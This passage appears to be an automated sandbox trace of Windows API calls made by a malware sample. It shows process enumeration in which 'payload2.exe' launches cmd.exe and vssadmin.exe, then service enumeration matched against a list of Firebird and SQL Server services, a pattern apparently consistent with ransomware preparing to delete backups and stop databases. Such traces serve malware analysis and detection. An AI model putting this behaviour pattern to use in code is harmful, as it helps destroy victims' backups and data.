| out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0039.471] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0039.471] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0039.471] lstrlenW (lpString="word.exe") returned 8 [0039.471] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0039.472] lstrlenW (lpString="semestermeta.exe") returned 16 [0039.472] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0039.473] lstrlenW (lpString="reflects.exe") returned 12 [0039.473] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0039.473] lstrlenW (lpString="beveragesradios.exe") returned 19 [0039.473] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0039.474] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0039.474] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0039.475] lstrlenW (lpString="ground.exe") returned 10 [0039.475] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0039.475] lstrlenW (lpString="least.exe") returned 9 [0039.475] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0039.476] lstrlenW (lpString="meetings.exe") returned 12 [0039.476] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0039.477] lstrlenW (lpString="wooltestimony.exe") returned 17 [0039.477] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0039.477] lstrlenW (lpString="inexpensive.exe") returned 15 [0039.477] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0039.478] lstrlenW (lpString="er-amd.exe") returned 10 [0039.922] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0039.923] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0039.923] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.923] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.923] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0039.924] lstrlenW (lpString="mobsync.exe") returned 11 [0039.924] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0039.925] lstrlenW (lpString="payload2.exe") returned 12 [0039.925] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.925] lstrlenW (lpString="cmd.exe") returned 7 [0039.925] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.926] lstrlenW (lpString="conhost.exe") returned 11 [0039.926] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0039.927] lstrlenW (lpString="vssadmin.exe") returned 12 [0039.927] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0039.927] lstrlenW (lpString="VSSVC.exe") returned 9 [0039.927] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0039.928] CloseHandle (hObject=0x194) returned 1 [0039.928] Sleep (dwMilliseconds=0x1f4) [0040.852] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29ffd8 [0040.852] EnumServicesStatusExW (in: hSCManager=0x29ffd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0040.852] GetLastError () returned 0xea [0040.852] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x3f8c2e8 [0040.852] EnumServicesStatusExW (in: hSCManager=0x29ffd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f8c2e8, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f8c2e8, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0040.853] CloseServiceHandle (hSCObject=0x29ffd8) returned 1 [0040.853] lstrlenW (lpString="Appinfo") returned 7 [0040.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.853] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.853] lstrlenW (lpString="AudioSrv") returned 8 [0040.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.853] lstrlenW (lpString="BFE") returned 3 [0040.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.854] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.854] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.854] lstrlenW (lpString="CryptSvc") returned 8 [0040.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.854] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.854] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.854] lstrlenW (lpString="CscService") returned 10 [0040.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.854] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.854] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.854] lstrlenW (lpString="DcomLaunch") returned 10 [0040.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.854] lstrlenW (lpString="Dhcp") returned 4 [0040.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.854] lstrlenW (lpString="Dnscache") returned 8 [0040.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.855] lstrlenW (lpString="DPS") returned 3 [0040.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.855] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.855] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.855] lstrlenW (lpString="eventlog") returned 8 [0040.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.855] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.855] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.855] lstrlenW (lpString="EventSystem") returned 11 [0040.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.855] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.855] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.855] lstrlenW (lpString="gpsvc") returned 5 [0040.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.855] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.855] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.855] lstrlenW (lpString="iphlpsvc") returned 8 [0040.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.855] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.855] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.856] lstrlenW (lpString="LanmanServer") returned 12 [0040.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.856] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.856] lstrlenW (lpString="lmhosts") returned 7 [0040.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.856] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.856] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.856] lstrlenW (lpString="MMCSS") returned 5 [0040.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.856] lstrlenW (lpString="MpsSvc") returned 6 [0040.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.856] lstrlenW (lpString="Netman") returned 6 [0040.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.857] lstrlenW (lpString="netprofm") returned 8 [0040.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.857] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.857] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.857] lstrlenW (lpString="NlaSvc") returned 6 [0040.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.857] lstrlenW (lpString="nsi") returned 3 [0040.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.857] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.857] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.857] lstrlenW (lpString="PcaSvc") returned 6 [0040.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.857] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.857] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.857] lstrlenW (lpString="PlugPlay") returned 8 [0040.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.857] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.857] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.858] lstrlenW (lpString="Power") returned 5 [0040.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.858] lstrlenW (lpString="ProfSvc") returned 7 [0040.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.858] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.858] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.858] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.858] lstrlenW (lpString="RpcSs") returned 5 [0040.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.858] lstrlenW (lpString="SamSs") returned 5 [0040.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.858] lstrlenW (lpString="Schedule") returned 8 [0040.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.859] lstrlenW (lpString="SENS") returned 4 [0040.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.859] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.859] lstrlenW (lpString="Spooler") returned 7 [0040.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.859] lstrlenW (lpString="swprv") returned 5 [0040.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0040.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0040.859] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0040.859] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0040.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0040.859] lstrlenW (lpString="SysMain") returned 7 [0040.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.860] lstrlenW (lpString="Themes") returned 6 [0040.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.860] lstrlenW (lpString="TrkWks") returned 6 [0040.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.860] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.860] 